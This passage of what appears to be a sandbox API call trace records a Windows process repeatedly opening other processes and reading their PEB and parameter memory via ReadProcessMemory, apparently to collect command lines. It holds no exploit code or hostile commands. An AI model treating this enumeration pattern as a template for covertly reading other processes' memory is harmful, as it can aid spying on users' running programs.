lpBuffer=0x670f7c2b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0260.746] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0260.749] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0260.749] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2b5020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0260.750] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0260.750] malloc (_Size=0x72) returned 0x196ef0d31b0 [0260.750] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1962, lpBuffer=0x196ef0d31b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0260.751] free (_Block=0x196ef0d31b0) [0260.752] CloseHandle (hObject=0x464) returned 1 [0260.753] _ui64tow_s (in: _Value=0x1004, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4100") returned 0x0 [0260.759] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4100") returned 4 [0260.760] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0260.760] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0260.784] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1004) returned 0x464 [0260.784] GetLastError () returned 0x0 [0260.784] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0260.785] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x37f018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0260.785] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0260.785] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x511cd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0260.785] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5118f8, lpBuffer=0x670f7c2b0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0260.786] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0260.788] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0260.788] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x37f020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0260.788] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5112e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0260.789] malloc (_Size=0x6a) returned 0x196ef0d31b0 [0260.789] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x51195a, lpBuffer=0x196ef0d31b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0260.790] free (_Block=0x196ef0d31b0) [0260.791] CloseHandle (hObject=0x464) returned 1 [0260.791] _ui64tow_s (in: _Value=0x100c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4108") returned 0x0 [0260.813] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4108") returned 4 [0260.814] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0260.814] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0260.838] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x100c) returned 0x464 [0260.838] GetLastError () returned 0x0 [0260.838] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0260.838] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x461018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0260.839] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0260.839] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x391d20, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0260.839] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3918f8, lpBuffer=0x670f7c2b0, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0260.841] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0260.846] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0260.846] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x461020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0260.846] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3912e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0260.847] malloc (_Size=0x82) returned 0x196ef1009b0 [0260.847] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x391972, lpBuffer=0x196ef1009b0, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef1009b0*, lpNumberOfBytesRead=0x0) returned 1 [0260.848] free (_Block=0x196ef1009b0) [0260.849] CloseHandle (hObject=0x464) returned 1 [0260.850] _ui64tow_s (in: _Value=0x1018, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4120") returned 0x0 [0260.856] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4120") returned 4 [0260.858] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0260.858] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0260.884] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1018) returned 0x464 [0260.884] GetLastError () returned 0x0 [0260.885] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0260.885] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4aa018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0260.885] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0260.886] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x311d10, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0260.886] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3118f8, lpBuffer=0x670f7c2b0, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0260.887] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0260.905] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0260.905] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4aa020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0260.905] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3112e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0260.905] malloc (_Size=0x80) returned 0x196ef101340 [0260.905] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x311970, lpBuffer=0x196ef101340, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef101340*, lpNumberOfBytesRead=0x0) returned 1 [0260.906] free (_Block=0x196ef101340) [0260.907] CloseHandle (hObject=0x464) returned 1 [0260.908] _ui64tow_s (in: _Value=0x1020, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4128") returned 0x0 [0260.915] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4128") returned 4 [0260.917] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0260.917] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0260.944] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1020) returned 0x464 [0260.944] GetLastError () returned 0x0 [0260.944] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0260.944] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x20c018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0260.945] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0260.945] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x441cd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0260.945] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4418f8, lpBuffer=0x670f7c2b0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0260.946] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0260.948] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0260.948] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x20c020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0260.948] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4412e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0260.948] malloc (_Size=0x66) returned 0x196ef0d0530 [0260.948] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x441956, lpBuffer=0x196ef0d0530, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0530*, lpNumberOfBytesRead=0x0) returned 1 [0260.949] free (_Block=0x196ef0d0530) [0260.951] CloseHandle (hObject=0x464) returned 1 [0261.001] _ui64tow_s (in: _Value=0x1038, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4152") returned 0x0 [0261.006] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4152") returned 4 [0261.008] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.008] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0261.034] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1038) returned 0x464 [0261.035] GetLastError () returned 0x0 [0261.035] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0261.035] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x30f018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0261.036] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0261.036] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1d20, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0261.036] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e18f8, lpBuffer=0x670f7c2b0, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0261.038] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0261.040] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0261.040] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x30f020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0261.040] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0261.040] malloc (_Size=0x82) returned 0x196ef100e30 [0261.040] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1972, lpBuffer=0x196ef100e30, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef100e30*, lpNumberOfBytesRead=0x0) returned 1 [0261.041] free (_Block=0x196ef100e30) [0261.042] CloseHandle (hObject=0x464) returned 1 [0261.042] _ui64tow_s (in: _Value=0x1040, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4160") returned 0x0 [0261.048] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4160") returned 4 [0261.050] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.050] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0261.069] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1040) returned 0x464 [0261.070] GetLastError () returned 0x0 [0261.070] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0261.070] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3da018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0261.071] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0261.071] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c1cb0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0261.071] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c18f8, lpBuffer=0x670f7c2b0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0261.072] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0261.073] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0261.073] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3da020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0261.074] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0261.074] malloc (_Size=0x5e) returned 0x196ef0d0610 [0261.074] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c194e, lpBuffer=0x196ef0d0610, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0610*, lpNumberOfBytesRead=0x0) returned 1 [0261.075] free (_Block=0x196ef0d0610) [0261.081] CloseHandle (hObject=0x464) returned 1 [0261.082] _ui64tow_s (in: _Value=0x1050, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4176") returned 0x0 [0261.086] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4176") returned 4 [0261.088] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.088] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0261.106] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1050) returned 0x464 [0261.107] GetLastError () returned 0x0 [0261.107] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0261.107] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x232018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0261.108] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0261.108] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1cc0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0261.108] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e18f8, lpBuffer=0x670f7c2b0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0261.109] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0261.111] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0261.111] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x232020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0261.111] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0261.111] malloc (_Size=0x64) returned 0x196ef0d03e0 [0261.111] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1954, lpBuffer=0x196ef0d03e0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0261.112] free (_Block=0x196ef0d03e0) [0261.113] CloseHandle (hObject=0x464) returned 1 [0261.113] _ui64tow_s (in: _Value=0x1058, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4184") returned 0x0 [0261.119] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4184") returned 4 [0261.120] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.120] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0261.180] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1058) returned 0x464 [0261.180] GetLastError () returned 0x0 [0261.181] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0261.181] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5ef018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0261.181] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0261.181] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7a1cf0, 